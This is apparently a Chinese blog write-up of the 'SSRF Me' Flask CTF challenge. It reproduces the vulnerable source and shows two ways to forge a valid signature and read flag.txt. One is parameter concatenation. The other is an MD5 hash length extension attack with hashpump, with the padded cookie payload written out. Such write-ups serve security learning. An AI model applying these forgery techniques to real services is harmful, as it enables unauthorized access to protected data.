SSRF Me(flask)

2019-10-02 12:10:00

python - ctf - flask - ssrf

---

一个源码阅读，这个是python的一个web框架，叫flask。

源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

思路

先看路径，有

1. /geneSign
2. /De1ta
3. /index

整理一下思路：

1.访问/De1ta这个url，执行challenge()函数，需要给cookies设置action和sign，给url传param

def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

2.challenge()会将这些传给一个Task对象，然后执行Exec()

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

3.Exec()会执行checkSign()，checkSign()会执行getSign()

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

4.getSign()会secert_key + param + action进行加密后返回，当这个返回值等于sign时即可

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

5.访问/geneSign这个url会执行geneSign()和返回getSign()而它已经把action = "scan"指定了，所以我们只能在param上做文章。

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

6.为什么要做文章，因为Exec()中会对action进行判断，我们需要令action中同时有read和scan，但这里已经限定了action="scan"，所以我们需要在param传值时尾部再增加一个read。

解题

方法一：

中规中矩按步骤即可getflag

1. 先访问/geneSign?param=flag.txtread取得sign=ebd2ea765b49b20beef3faefdd9b30bf
2. 访问/De1ta?param=flag.txt
3. 传入action=readscan;sign=ebd2ea765b49b20beef3faefdd9b30bf作为cookie

{"code": 200, "data": "flag{dfdd3b97-e1c3-45ec-a9c6-95e3f8d59715}\n"}

方法二：

1. 访问/geneSign?param=flag.txt取得sign=38a9e9012b331e9100bf6805d9e1db9d
2. 再访问/De1ta?param=flag.txt
3. action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=73f8d9f96425377f56f05c594655682f作为cookie

这个操作称为哈希扩展攻击。

使用hashpump：

前面有提示secert_key = os.urandom(16)

然后将上面一行输出作为sign，下面一行替换掉\x->%作为action，即可getflag

本文原创于HhhM的博客，转载请标明出处。

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